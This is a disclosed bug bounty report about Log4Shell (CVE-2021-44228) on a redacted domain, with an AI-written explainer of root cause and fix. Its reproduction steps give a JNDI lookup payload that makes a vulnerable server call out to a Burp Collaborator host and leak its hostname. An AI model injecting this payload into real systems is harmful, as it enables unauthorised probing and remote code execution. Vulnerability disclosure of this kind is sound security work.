Log4Shell: RCE 0-day exploit on █████████
The report claims that a domain is vulnerable to the Log4Shell vulnerability (CVE-2021-44228) in the Java logging library Log4j. An attacker could exploit this to achieve remote code execution by sending a crafted JNDI lookup string, as demonstrated by a reverse ping to a Burp Collaborator server.
Originally disclosed on HackerOne
- Triaged in under an hour
- Fixed in 14 days
- Disclosed after 18 days
Hi team, log4 shell is recent 0-day exploit it's Java package vulnerable. ██████████ domain is vulnerable
Impact
RCE
System Host(s)
█████████
Affected Product(s) and Version(s)
CVE Numbers
CVE-2021-44228
Steps to Reproduce
- Go to this url => https://███████/██████=%24%7bjndi%3aldap%3a%2f%2fx%24%7bhostName%7d.LOG45200SSRF.xxxxxx.burpcollaborator.net%2fa%7d
- paste the poc code on ██████ url parameter
- like this => https://██████████/██████
- then burp collaborator received reverse ping back
- I attached poc videos and photos below
##POC CODE ${jndi:ldap://x${hostName}.log4j.xxxxxxx.burpcollaborator.net/a}
Suggested Mitigation/Remediation Actions
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application used a vulnerable version of Log4j that did not sanitise JNDI lookups in logged user input.
What the attacker needed
Vulnerable Log4j version; attacker-controlled LDAP server; ability to inject payload into logged input
The fix
The application should be updated to a non-vulnerable version of Log4j or have the JNDI lookup functionality disabled.
How it was found
- Visit the provided URL containing a JNDI payload in a parameter.
- Paste the proof-of-concept code into the vulnerable URL parameter.
- Observe that the Burp Collaborator server receives a reverse ping.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Log4j is a Java logging library. A flaw lets a special string in input make the server connect to an attacker's address, which could lead to code execution. This report shows one website was vulnerable.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.